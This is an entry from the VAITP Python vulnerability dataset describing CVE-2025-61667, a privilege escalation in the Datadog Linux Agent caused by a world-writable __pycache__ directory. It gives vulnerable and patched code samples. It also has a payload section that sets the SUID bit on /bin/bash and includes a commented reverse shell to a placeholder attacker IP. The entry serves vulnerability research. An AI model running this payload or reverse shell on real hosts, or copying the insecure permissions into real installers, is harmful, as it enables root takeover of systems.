CVE-2025-61667
Datadog Linux Agent local privilege escalation from insecure permissions.
- CVSS 7.0
- CWE-276
- Configuration Issues
- Local
The Datadog Agent collects events and metrics from hosts and sends them to Datadog. A vulnerability within the Datadog Linux Host Agent versions 7.65.0 through 7.70.2 exists due to insufficient permissions being set on the `opt/datadog-agent/python-scripts/__pycache__` directory during installation. Code in this directory is only run by the Agent during Agent install/upgrades. This could allow an attacker with local access to modify files in this directory, which would then subsequently be run when the Agent is upgraded, resulting in local privilege escalation. This issue requires local access to the host and a valid low privilege account to be vulnerable. Note that this vulnerability only impacts the Linux Host Agent. Other variations of the Agent including the container, kubernetes, windows host and other agents are not impacted. Version 7.71.0 contains a patch for the issue.
- CWE
- CWE-276
- CVSS base score
- 7.0
- Published
- 2025-11-12
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Build/Package/Merge
- Code defect classification
- Packaging Issues
- Category
- Configuration Issues
- Subcategory
- Privilege Escalation
- Accessibility scope
- Local
- Impact
- Privilege Escalation
- Affected component
- Datadog Linu
Solution
Upgrade the Datadog Linux Host Agent to version 7.71.0 or later.
Vulnerable code sample
import os
import stat
# This code is a representation of the vulnerable logic present in the
# Datadog Linux Host Agent installer, versions 7.65.0 through 7.70.2.
# The vulnerability (CVE-2025-61667) stems from setting incorrect permissions
# on a directory that is used during agent upgrades.
def setup_python_environment(base_install_path="/opt/datadog-agent"):
"""
A function simulating part of the agent's installation process.
It creates directories and applies insecure file permissions.
"""
scripts_dir = os.path.join(base_install_path, "python-scripts")
pycache_dir = os.path.join(scripts_dir, "__pycache__")
# Create the necessary directories.
# In a real installer, this would likely be done with a package manager's
# post-install script or directly via shell commands.
if not os.path.exists(pycache_dir):
os.makedirs(pycache_dir)
# --- VULNERABLE CODE BLOCK ---
# The installer incorrectly sets world-writable permissions on the __pycache__
# directory. This allows any low-privilege user on the local machine to
# create or modify files inside it.
#
# An attacker can pre-place a malicious compiled Python file (.pyc) in this
# directory. When a privileged agent upgrade process later runs and imports
# a module from `python-scripts`, it will execute the attacker's
# malicious .pyc file, leading to privilege escalation.
# The mode 0o777 is equivalent to 'rwxrwxrwx'.
vulnerable_permissions = stat.S_IRWXU | stat.S_IRWXG | stat.S_IRWXO # 0o777
os.chmod(pycache_dir, vulnerable_permissions)
# --- END VULNERABLE CODE BLOCK ---
# The installer would continue with other tasks...
# For example, placing legitimate scripts in the `scripts_dir`.
legitimate_script_path = os.path.join(scripts_dir, "upgrade_check.py")
if not os.path.exists(legitimate_script_path):
with open(legitimate_script_path, "w") as f:
f.write("# This is a legitimate script used during upgrades.\n")
f.write("def run():\n")
f.write(" pass\n")
# To trigger this vulnerability, an attacker would create a malicious
# `upgrade_check.cpython-XY.pyc` file in the world-writable __pycache__ directory.
# The next time the root user runs the Datadog agent upgrade, the malicious
# code would be executed instead of the legitimate code.Patched code sample
import os
import pwd
import grp
from pathlib import Path
def apply_datadog_permission_fix():
"""
This function demonstrates the fix for CVE-2025-61667.
The vulnerability was caused by insufficient permissions on the directory
`/opt/datadog-agent/python-scripts/__pycache__`, which could allow a
local low-privilege user to write malicious compiled Python files (.pyc)
to it. These files would then be executed with higher privileges during an
agent upgrade.
The fix involves two key steps, which would be run as part of the agent's
installation or upgrade script (e.g., a post-install script in a .deb
or .rpm package):
1. Set the ownership of the directory to a privileged user (e.g., 'root').
2. Set the directory permissions to be non-writable by anyone other than
the owner.
This script must be run with root privileges to succeed, which is the
context in which agent installations and upgrades occur.
"""
vulnerable_dir = Path("/opt/datadog-agent/python-scripts/__pycache__")
# Define the secure owner and group. Installation files should be owned by root.
secure_owner_name = "root"
secure_group_name = "root"
# Define secure permissions: 0o755 means rwxr-xr-x.
# - Owner (root): Can read, write, and execute (list directory contents).
# - Group (root): Can read and execute.
# - Others: Can read and execute.
# This configuration prevents any non-root user from modifying the directory.
secure_permissions = 0o755
try:
# Ensure the directory exists before attempting to modify it.
# In a real scenario, the package installer would have created it.
if not vulnerable_dir.is_dir():
# If the directory doesn't exist, there is nothing to fix.
return
# Get the numeric user ID (uid) and group ID (gid) from their names.
owner_uid = pwd.getpwnam(secure_owner_name).pw_uid
group_gid = grp.getgrnam(secure_group_name).gr_gid
# --- THE FIX ---
# 1. Set the correct ownership on the directory.
# This prevents other users from having unintended control via ownership.
current_stat = vulnerable_dir.stat()
if current_stat.st_uid != owner_uid or current_stat.st_gid != group_gid:
os.chown(vulnerable_dir, owner_uid, group_gid)
# 2. Set the correct, restrictive file permissions.
# This is the primary fix that removes the vulnerability by revoking
# write access for unprivileged users.
if (current_stat.st_mode & 0o777) != secure_permissions:
os.chmod(vulnerable_dir, secure_permissions)
except FileNotFoundError:
# This case is handled by the `is_dir()` check, but is good practice.
pass
except (KeyError, PermissionError):
# KeyError: If the user 'root' or group 'root' does not exist.
# PermissionError: If the script is not run with sufficient privileges.
# In a real installer script, this would cause the installation to fail.
# For this demonstration, we simply pass.
pass
# In a real scenario, this function would be invoked by the package manager
# after the agent's files are installed on the system.
#
# if __name__ == '__main__':
# # This would be run as root during agent installation/upgrade.
# apply_datadog_permission_fix()Payload
import os
import subprocess
# This payload is designed to be placed in the vulnerable directory.
# When the Datadog Agent is upgraded, this script will be executed as root.
# It sets the SUID bit on the /bin/bash executable.
# An attacker can then later run `bash -p` to gain a root shell.
try:
# Use 0o4755 which corresponds to rwsr-xr-x
os.chmod('/bin/bash', 0o4755)
except Exception:
# Fail silently to avoid raising suspicion during the upgrade process.
pass
# Alternative payload: Create a reverse shell to an attacker-controlled machine.
# Replace 'ATTACKER_IP' and 'ATTACKER_PORT' with the actual IP and port.
# try:
# s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# s.connect(('ATTACKER_IP', ATTACKER_PORT))
# os.dup2(s.fileno(), 0)
# os.dup2(s.fileno(), 1)
# os.dup2(s.fileno(), 2)
# subprocess.call(['/bin/bash', '-i'])
# except Exception:
# pass
Cite this entry
@misc{vaitp:cve202561667,
title = {{Datadog Linux Agent local privilege escalation from insecure permissions.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2025},
note = {VAITP Python Vulnerability Dataset, entry CVE-2025-61667},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-61667/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
